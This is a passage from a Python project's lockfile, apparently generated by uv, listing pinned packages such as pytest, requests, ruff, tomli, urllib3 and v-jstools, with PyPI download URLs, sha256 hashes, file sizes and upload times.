{ url = "https://files.pythonhosted.org/packages/3b/ab/b3226f0bd7cdcf710fbede2b3548584366da3b19b5021e74f5bde2a8fa3f/pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b", size = 374801, upload-time = "2025-12-06T21:30:49.154Z" },
]
[[package]]
name = "pytest-cov"
version = "7.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "coverage", extra = ["toml"] },
{ name = "pluggy" },
{ name = "pytest" },
]
sdist = { url = "https://files.pythonhosted.org/packages/5e/f7/c933acc76f5208b3b00089573cf6a2bc26dc80a8aece8f52bb7d6b1855ca/pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1", size = 54328, upload-time = "2025-09-09T10:57:02.113Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" },
]
[[package]]
name = "pytokens"
version = "0.3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/4e/8d/a762be14dae1c3bf280202ba3172020b2b0b4c537f94427435f19c413b72/pytokens-0.3.0.tar.gz", hash = "sha256:2f932b14ed08de5fcf0b391ace2642f858f1394c0857202959000b68ed7a458a", size = 17644, upload-time = "2025-11-05T13:36:35.34Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/84/25/d9db8be44e205a124f6c98bc0324b2bb149b7431c53877fc6d1038dddaf5/pytokens-0.3.0-py3-none-any.whl", hash = "sha256:95b2b5eaf832e469d141a378872480ede3f251a5a5041b8ec6e581d3ac71bbf3", size = 12195, upload-time = "2025-11-05T13:36:33.183Z" },
]
[[package]]
name = "requests"
version = "2.32.5"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "charset-normalizer" },
{ name = "idna" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
]
[[package]]
name = "ruff"
version = "0.14.10"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/57/08/52232a877978dd8f9cf2aeddce3e611b40a63287dfca29b6b8da791f5e8d/ruff-0.14.10.tar.gz", hash = "sha256:9a2e830f075d1a42cd28420d7809ace390832a490ed0966fe373ba288e77aaf4", size = 5859763, upload-time = "2025-12-18T19:28:57.98Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/60/01/933704d69f3f05ee16ef11406b78881733c186fe14b6a46b05cfcaf6d3b2/ruff-0.14.10-py3-none-linux_armv6l.whl", hash = "sha256:7a3ce585f2ade3e1f29ec1b92df13e3da262178df8c8bdf876f48fa0e8316c49", size = 13527080, upload-time = "2025-12-18T19:29:25.642Z" },
{ url = "https://files.pythonhosted.org/packages/df/58/a0349197a7dfa603ffb7f5b0470391efa79ddc327c1e29c4851e85b09cc5/ruff-0.14.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:674f9be9372907f7257c51f1d4fc902cb7cf014b9980152b802794317941f08f", size = 13797320, upload-time = "2025-12-18T19:29:02.571Z" },
{ url = "https://files.pythonhosted.org/packages/7b/82/36be59f00a6082e38c23536df4e71cdbc6af8d7c707eade97fcad5c98235/ruff-0.14.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d85713d522348837ef9df8efca33ccb8bd6fcfc86a2cde3ccb4bc9d28a18003d", size = 12918434, upload-time = "2025-12-18T19:28:51.202Z" },
{ url = "https://files.pythonhosted.org/packages/a6/00/45c62a7f7e34da92a25804f813ebe05c88aa9e0c25e5cb5a7d23dd7450e3/ruff-0.14.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6987ebe0501ae4f4308d7d24e2d0fe3d7a98430f5adfd0f1fead050a740a3a77", size = 13371961, upload-time = "2025-12-18T19:29:04.991Z" },
{ url = "https://files.pythonhosted.org/packages/40/31/a5906d60f0405f7e57045a70f2d57084a93ca7425f22e1d66904769d1628/ruff-0.14.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:16a01dfb7b9e4eee556fbfd5392806b1b8550c9b4a9f6acd3dbe6812b193c70a", size = 13275629, upload-time = "2025-12-18T19:29:21.381Z" },
{ url = "https://files.pythonhosted.org/packages/3e/60/61c0087df21894cf9d928dc04bcd4fb10e8b2e8dca7b1a276ba2155b2002/ruff-0.14.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7165d31a925b7a294465fa81be8c12a0e9b60fb02bf177e79067c867e71f8b1f", size = 14029234, upload-time = "2025-12-18T19:29:00.132Z" },
{ url = "https://files.pythonhosted.org/packages/44/84/77d911bee3b92348b6e5dab5a0c898d87084ea03ac5dc708f46d88407def/ruff-0.14.10-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:c561695675b972effb0c0a45db233f2c816ff3da8dcfbe7dfc7eed625f218935", size = 15449890, upload-time = "2025-12-18T19:28:53.573Z" },
{ url = "https://files.pythonhosted.org/packages/e9/36/480206eaefa24a7ec321582dda580443a8f0671fdbf6b1c80e9c3e93a16a/ruff-0.14.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4bb98fcbbc61725968893682fd4df8966a34611239c9fd07a1f6a07e7103d08e", size = 15123172, upload-time = "2025-12-18T19:29:23.453Z" },
{ url = "https://files.pythonhosted.org/packages/5c/38/68e414156015ba80cef5473d57919d27dfb62ec804b96180bafdeaf0e090/ruff-0.14.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f24b47993a9d8cb858429e97bdf8544c78029f09b520af615c1d261bf827001d", size = 14460260, upload-time = "2025-12-18T19:29:27.808Z" },
{ url = "https://files.pythonhosted.org/packages/b3/19/9e050c0dca8aba824d67cc0db69fb459c28d8cd3f6855b1405b3f29cc91d/ruff-0.14.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59aabd2e2c4fd614d2862e7939c34a532c04f1084476d6833dddef4afab87e9f", size = 14229978, upload-time = "2025-12-18T19:29:11.32Z" },
{ url = "https://files.pythonhosted.org/packages/51/eb/e8dd1dd6e05b9e695aa9dd420f4577debdd0f87a5ff2fedda33c09e9be8c/ruff-0.14.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:213db2b2e44be8625002dbea33bb9c60c66ea2c07c084a00d55732689d697a7f", size = 14338036, upload-time = "2025-12-18T19:29:09.184Z" },
{ url = "https://files.pythonhosted.org/packages/6a/12/f3e3a505db7c19303b70af370d137795fcfec136d670d5de5391e295c134/ruff-0.14.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:b914c40ab64865a17a9a5b67911d14df72346a634527240039eb3bd650e5979d", size = 13264051, upload-time = "2025-12-18T19:29:13.431Z" },
{ url = "https://files.pythonhosted.org/packages/08/64/8c3a47eaccfef8ac20e0484e68e0772013eb85802f8a9f7603ca751eb166/ruff-0.14.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:1484983559f026788e3a5c07c81ef7d1e97c1c78ed03041a18f75df104c45405", size = 13283998, upload-time = "2025-12-18T19:29:06.994Z" },
{ url = "https://files.pythonhosted.org/packages/12/84/534a5506f4074e5cc0529e5cd96cfc01bb480e460c7edf5af70d2bcae55e/ruff-0.14.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c70427132db492d25f982fffc8d6c7535cc2fd2c83fc8888f05caaa248521e60", size = 13601891, upload-time = "2025-12-18T19:28:55.811Z" },
{ url = "https://files.pythonhosted.org/packages/0d/1e/14c916087d8598917dbad9b2921d340f7884824ad6e9c55de948a93b106d/ruff-0.14.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5bcf45b681e9f1ee6445d317ce1fa9d6cba9a6049542d1c3d5b5958986be8830", size = 14336660, upload-time = "2025-12-18T19:29:16.531Z" },
{ url = "https://files.pythonhosted.org/packages/f2/1c/d7b67ab43f30013b47c12b42d1acd354c195351a3f7a1d67f59e54227ede/ruff-0.14.10-py3-none-win32.whl", hash = "sha256:104c49fc7ab73f3f3a758039adea978869a918f31b73280db175b43a2d9b51d6", size = 13196187, upload-time = "2025-12-18T19:29:19.006Z" },
{ url = "https://files.pythonhosted.org/packages/fb/9c/896c862e13886fae2af961bef3e6312db9ebc6adc2b156fe95e615dee8c1/ruff-0.14.10-py3-none-win_amd64.whl", hash = "sha256:466297bd73638c6bdf06485683e812db1c00c7ac96d4ddd0294a338c62fdc154", size = 14661283, upload-time = "2025-12-18T19:29:30.16Z" },
{ url = "https://files.pythonhosted.org/packages/74/31/b0e29d572670dca3674eeee78e418f20bdf97fa8aa9ea71380885e175ca0/ruff-0.14.10-py3-none-win_arm64.whl", hash = "sha256:e51d046cf6dda98a4633b8a8a771451107413b0f07183b2bef03f075599e44e6", size = 13729839, upload-time = "2025-12-18T19:28:48.636Z" },
]
[[package]]
name = "tomli"
version = "2.3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/52/ed/3f73f72945444548f33eba9a87fc7a6e969915e7b1acc8260b30e1f76a2f/tomli-2.3.0.tar.gz", hash = "sha256:64be704a875d2a59753d80ee8a533c3fe183e3f06807ff7dc2232938ccb01549", size = 17392, upload-time = "2025-10-08T22:01:47.119Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/2e/299f62b401438d5fe1624119c723f5d877acc86a4c2492da405626665f12/tomli-2.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:88bd15eb972f3664f5ed4b57c1634a97153b4bac4479dcb6a495f41921eb7f45", size = 153236, upload-time = "2025-10-08T22:01:00.137Z" },
{ url = "https://files.pythonhosted.org/packages/86/7f/d8fffe6a7aefdb61bced88fcb5e280cfd71e08939da5894161bd71bea022/tomli-2.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:883b1c0d6398a6a9d29b508c331fa56adbcdff647f6ace4dfca0f50e90dfd0ba", size = 148084, upload-time = "2025-10-08T22:01:01.63Z" },
{ url = "https://files.pythonhosted.org/packages/47/5c/24935fb6a2ee63e86d80e4d3b58b222dafaf438c416752c8b58537c8b89a/tomli-2.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d1381caf13ab9f300e30dd8feadb3de072aeb86f1d34a8569453ff32a7dea4bf", size = 234832, upload-time = "2025-10-08T22:01:02.543Z" },
{ url = "https://files.pythonhosted.org/packages/89/da/75dfd804fc11e6612846758a23f13271b76d577e299592b4371a4ca4cd09/tomli-2.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a0e285d2649b78c0d9027570d4da3425bdb49830a6156121360b3f8511ea3441", size = 242052, upload-time = "2025-10-08T22:01:03.836Z" },
{ url = "https://files.pythonhosted.org/packages/70/8c/f48ac899f7b3ca7eb13af73bacbc93aec37f9c954df3c08ad96991c8c373/tomli-2.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0a154a9ae14bfcf5d8917a59b51ffd5a3ac1fd149b71b47a3a104ca4edcfa845", size = 239555, upload-time = "2025-10-08T22:01:04.834Z" },
{ url = "https://files.pythonhosted.org/packages/ba/28/72f8afd73f1d0e7829bfc093f4cb98ce0a40ffc0cc997009ee1ed94ba705/tomli-2.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:74bf8464ff93e413514fefd2be591c3b0b23231a77f901db1eb30d6f712fc42c", size = 245128, upload-time = "2025-10-08T22:01:05.84Z" },
{ url = "https://files.pythonhosted.org/packages/b6/eb/a7679c8ac85208706d27436e8d421dfa39d4c914dcf5fa8083a9305f58d9/tomli-2.3.0-cp311-cp311-win32.whl", hash = "sha256:00b5f5d95bbfc7d12f91ad8c593a1659b6387b43f054104cda404be6bda62456", size = 96445, upload-time = "2025-10-08T22:01:06.896Z" },
{ url = "https://files.pythonhosted.org/packages/0a/fe/3d3420c4cb1ad9cb462fb52967080575f15898da97e21cb6f1361d505383/tomli-2.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:4dc4ce8483a5d429ab602f111a93a6ab1ed425eae3122032db7e9acf449451be", size = 107165, upload-time = "2025-10-08T22:01:08.107Z" },
{ url = "https://files.pythonhosted.org/packages/ff/b7/40f36368fcabc518bb11c8f06379a0fd631985046c038aca08c6d6a43c6e/tomli-2.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d7d86942e56ded512a594786a5ba0a5e521d02529b3826e7761a05138341a2ac", size = 154891, upload-time = "2025-10-08T22:01:09.082Z" },
{ url = "https://files.pythonhosted.org/packages/f9/3f/d9dd692199e3b3aab2e4e4dd948abd0f790d9ded8cd10cbaae276a898434/tomli-2.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:73ee0b47d4dad1c5e996e3cd33b8a76a50167ae5f96a2607cbe8cc773506ab22", size = 148796, upload-time = "2025-10-08T22:01:10.266Z" },
{ url = "https://files.pythonhosted.org/packages/60/83/59bff4996c2cf9f9387a0f5a3394629c7efa5ef16142076a23a90f1955fa/tomli-2.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:792262b94d5d0a466afb5bc63c7daa9d75520110971ee269152083270998316f", size = 242121, upload-time = "2025-10-08T22:01:11.332Z" },
{ url = "https://files.pythonhosted.org/packages/45/e5/7c5119ff39de8693d6baab6c0b6dcb556d192c165596e9fc231ea1052041/tomli-2.3.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4f195fe57ecceac95a66a75ac24d9d5fbc98ef0962e09b2eddec5d39375aae52", size = 250070, upload-time = "2025-10-08T22:01:12.498Z" },
{ url = "https://files.pythonhosted.org/packages/45/12/ad5126d3a278f27e6701abde51d342aa78d06e27ce2bb596a01f7709a5a2/tomli-2.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e31d432427dcbf4d86958c184b9bfd1e96b5b71f8eb17e6d02531f434fd335b8", size = 245859, upload-time = "2025-10-08T22:01:13.551Z" },
{ url = "https://files.pythonhosted.org/packages/fb/a1/4d6865da6a71c603cfe6ad0e6556c73c76548557a8d658f9e3b142df245f/tomli-2.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b0882799624980785240ab732537fcfc372601015c00f7fc367c55308c186f6", size = 250296, upload-time = "2025-10-08T22:01:14.614Z" },
{ url = "https://files.pythonhosted.org/packages/a0/b7/a7a7042715d55c9ba6e8b196d65d2cb662578b4d8cd17d882d45322b0d78/tomli-2.3.0-cp312-cp312-win32.whl", hash = "sha256:ff72b71b5d10d22ecb084d345fc26f42b5143c5533db5e2eaba7d2d335358876", size = 97124, upload-time = "2025-10-08T22:01:15.629Z" },
{ url = "https://files.pythonhosted.org/packages/06/1e/f22f100db15a68b520664eb3328fb0ae4e90530887928558112c8d1f4515/tomli-2.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:1cb4ed918939151a03f33d4242ccd0aa5f11b3547d0cf30f7c74a408a5b99878", size = 107698, upload-time = "2025-10-08T22:01:16.51Z" },
{ url = "https://files.pythonhosted.org/packages/89/48/06ee6eabe4fdd9ecd48bf488f4ac783844fd777f547b8d1b61c11939974e/tomli-2.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5192f562738228945d7b13d4930baffda67b69425a7f0da96d360b0a3888136b", size = 154819, upload-time = "2025-10-08T22:01:17.964Z" },
{ url = "https://files.pythonhosted.org/packages/f1/01/88793757d54d8937015c75dcdfb673c65471945f6be98e6a0410fba167ed/tomli-2.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:be71c93a63d738597996be9528f4abe628d1adf5e6eb11607bc8fe1a510b5dae", size = 148766, upload-time = "2025-10-08T22:01:18.959Z" },
{ url = "https://files.pythonhosted.org/packages/42/17/5e2c956f0144b812e7e107f94f1cc54af734eb17b5191c0bbfb72de5e93e/tomli-2.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c4665508bcbac83a31ff8ab08f424b665200c0e1e645d2bd9ab3d3e557b6185b", size = 240771, upload-time = "2025-10-08T22:01:20.106Z" },
{ url = "https://files.pythonhosted.org/packages/d5/f4/0fbd014909748706c01d16824eadb0307115f9562a15cbb012cd9b3512c5/tomli-2.3.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4021923f97266babc6ccab9f5068642a0095faa0a51a246a6a02fccbb3514eaf", size = 248586, upload-time = "2025-10-08T22:01:21.164Z" },
{ url = "https://files.pythonhosted.org/packages/30/77/fed85e114bde5e81ecf9bc5da0cc69f2914b38f4708c80ae67d0c10180c5/tomli-2.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4ea38c40145a357d513bffad0ed869f13c1773716cf71ccaa83b0fa0cc4e42f", size = 244792, upload-time = "2025-10-08T22:01:22.417Z" },
{ url = "https://files.pythonhosted.org/packages/55/92/afed3d497f7c186dc71e6ee6d4fcb0acfa5f7d0a1a2878f8beae379ae0cc/tomli-2.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ad805ea85eda330dbad64c7ea7a4556259665bdf9d2672f5dccc740eb9d3ca05", size = 248909, upload-time = "2025-10-08T22:01:23.859Z" },
{ url = "https://files.pythonhosted.org/packages/f8/84/ef50c51b5a9472e7265ce1ffc7f24cd4023d289e109f669bdb1553f6a7c2/tomli-2.3.0-cp313-cp313-win32.whl", hash = "sha256:97d5eec30149fd3294270e889b4234023f2c69747e555a27bd708828353ab606", size = 96946, upload-time = "2025-10-08T22:01:24.893Z" },
{ url = "https://files.pythonhosted.org/packages/b2/b7/718cd1da0884f281f95ccfa3a6cc572d30053cba64603f79d431d3c9b61b/tomli-2.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:0c95ca56fbe89e065c6ead5b593ee64b84a26fca063b5d71a1122bf26e533999", size = 107705, upload-time = "2025-10-08T22:01:26.153Z" },
{ url = "https://files.pythonhosted.org/packages/19/94/aeafa14a52e16163008060506fcb6aa1949d13548d13752171a755c65611/tomli-2.3.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:cebc6fe843e0733ee827a282aca4999b596241195f43b4cc371d64fc6639da9e", size = 154244, upload-time = "2025-10-08T22:01:27.06Z" },
{ url = "https://files.pythonhosted.org/packages/db/e4/1e58409aa78eefa47ccd19779fc6f36787edbe7d4cd330eeeedb33a4515b/tomli-2.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:4c2ef0244c75aba9355561272009d934953817c49f47d768070c3c94355c2aa3", size = 148637, upload-time = "2025-10-08T22:01:28.059Z" },
{ url = "https://files.pythonhosted.org/packages/26/b6/d1eccb62f665e44359226811064596dd6a366ea1f985839c566cd61525ae/tomli-2.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c22a8bf253bacc0cf11f35ad9808b6cb75ada2631c2d97c971122583b129afbc", size = 241925, upload-time = "2025-10-08T22:01:29.066Z" },
{ url = "https://files.pythonhosted.org/packages/70/91/7cdab9a03e6d3d2bb11beae108da5bdc1c34bdeb06e21163482544ddcc90/tomli-2.3.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0eea8cc5c5e9f89c9b90c4896a8deefc74f518db5927d0e0e8d4a80953d774d0", size = 249045, upload-time = "2025-10-08T22:01:31.98Z" },
{ url = "https://files.pythonhosted.org/packages/15/1b/8c26874ed1f6e4f1fcfeb868db8a794cbe9f227299402db58cfcc858766c/tomli-2.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b74a0e59ec5d15127acdabd75ea17726ac4c5178ae51b85bfe39c4f8a278e879", size = 245835, upload-time = "2025-10-08T22:01:32.989Z" },
{ url = "https://files.pythonhosted.org/packages/fd/42/8e3c6a9a4b1a1360c1a2a39f0b972cef2cc9ebd56025168c4137192a9321/tomli-2.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b5870b50c9db823c595983571d1296a6ff3e1b88f734a4c8f6fc6188397de005", size = 253109, upload-time = "2025-10-08T22:01:34.052Z" },
{ url = "https://files.pythonhosted.org/packages/22/0c/b4da635000a71b5f80130937eeac12e686eefb376b8dee113b4a582bba42/tomli-2.3.0-cp314-cp314-win32.whl", hash = "sha256:feb0dacc61170ed7ab602d3d972a58f14ee3ee60494292d384649a3dc38ef463", size = 97930, upload-time = "2025-10-08T22:01:35.082Z" },
{ url = "https://files.pythonhosted.org/packages/b9/74/cb1abc870a418ae99cd5c9547d6bce30701a954e0e721821df483ef7223c/tomli-2.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:b273fcbd7fc64dc3600c098e39136522650c49bca95df2d11cf3b626422392c8", size = 107964, upload-time = "2025-10-08T22:01:36.057Z" },
{ url = "https://files.pythonhosted.org/packages/54/78/5c46fff6432a712af9f792944f4fcd7067d8823157949f4e40c56b8b3c83/tomli-2.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:940d56ee0410fa17ee1f12b817b37a4d4e4dc4d27340863cc67236c74f582e77", size = 163065, upload-time = "2025-10-08T22:01:37.27Z" },
{ url = "https://files.pythonhosted.org/packages/39/67/f85d9bd23182f45eca8939cd2bc7050e1f90c41f4a2ecbbd5963a1d1c486/tomli-2.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f85209946d1fe94416debbb88d00eb92ce9cd5266775424ff81bc959e001acaf", size = 159088, upload-time = "2025-10-08T22:01:38.235Z" },
{ url = "https://files.pythonhosted.org/packages/26/5a/4b546a0405b9cc0659b399f12b6adb750757baf04250b148d3c5059fc4eb/tomli-2.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a56212bdcce682e56b0aaf79e869ba5d15a6163f88d5451cbde388d48b13f530", size = 268193, upload-time = "2025-10-08T22:01:39.712Z" },
{ url = "https://files.pythonhosted.org/packages/42/4f/2c12a72ae22cf7b59a7fe75b3465b7aba40ea9145d026ba41cb382075b0e/tomli-2.3.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5f3ffd1e098dfc032d4d3af5c0ac64f6d286d98bc148698356847b80fa4de1b", size = 275488, upload-time = "2025-10-08T22:01:40.773Z" },
{ url = "https://files.pythonhosted.org/packages/92/04/a038d65dbe160c3aa5a624e93ad98111090f6804027d474ba9c37c8ae186/tomli-2.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e01decd096b1530d97d5d85cb4dff4af2d8347bd35686654a004f8dea20fc67", size = 272669, upload-time = "2025-10-08T22:01:41.824Z" },
{ url = "https://files.pythonhosted.org/packages/be/2f/8b7c60a9d1612a7cbc39ffcca4f21a73bf368a80fc25bccf8253e2563267/tomli-2.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8a35dd0e643bb2610f156cca8db95d213a90015c11fee76c946aa62b7ae7e02f", size = 279709, upload-time = "2025-10-08T22:01:43.177Z" },
{ url = "https://files.pythonhosted.org/packages/7e/46/cc36c679f09f27ded940281c38607716c86cf8ba4a518d524e349c8b4874/tomli-2.3.0-cp314-cp314t-win32.whl", hash = "sha256:a1f7f282fe248311650081faafa5f4732bdbfef5d45fe3f2e702fbc6f2d496e0", size = 107563, upload-time = "2025-10-08T22:01:44.233Z" },
{ url = "https://files.pythonhosted.org/packages/84/ff/426ca8683cf7b753614480484f6437f568fd2fda2edbdf57a2d3d8b27a0b/tomli-2.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:70a251f8d4ba2d9ac2542eecf008b3c8a9fc5c3f9f02c56a9d7952612be2fdba", size = 119756, upload-time = "2025-10-08T22:01:45.234Z" },
{ url = "https://files.pythonhosted.org/packages/77/b8/0135fadc89e73be292b473cb820b4f5a08197779206b33191e801feeae40/tomli-2.3.0-py3-none-any.whl", hash = "sha256:e95b1af3c5b07d9e643909b5abbec77cd9f1217e6d0bca72b0234736b9fb1f1b", size = 14408, upload-time = "2025-10-08T22:01:46.04Z" },
]
[[package]]
name = "typing-extensions"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
]
[[package]]
name = "tzdata"
version = "2025.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" },
]
[[package]]
name = "urllib3"
version = "2.6.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1e/24/a2a2ed9addd907787d7aa0355ba36a6cadf1768b934c652ea78acbd59dcd/urllib3-2.6.2.tar.gz", hash = "sha256:016f9c98bb7e98085cb2b4b17b87d2c702975664e4f060c6532e64d1c1a5e797", size = 432930, upload-time = "2025-12-11T15:56:40.252Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6d/b9/4095b668ea3678bf6a0af005527f39de12fb026516fb3df17495a733b7f8/urllib3-2.6.2-py3-none-any.whl", hash = "sha256:ec21cddfe7724fc7cb4ba4bea7aa8e2ef36f607a4bab81aa6ce42a13dc3f03dd", size = 131182, upload-time = "2025-12-11T15:56:38.584Z" },
]
[[package]]
name = "v-jstools"
version = "0.0.8"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/95/75/96b978c4f24a16121396edb1c8a29ff4f16b99acce353930d50b60af39b6/v_jstools-0.0.8-py3-none-any.whl", hash = "sha256:bb77fd5552267d992eb3ec8d9f7062256c9586f7d841d59e90391cc60440126f", size = 9095663, upload-time = "2025-12-22T14:07:58.841Z" },
]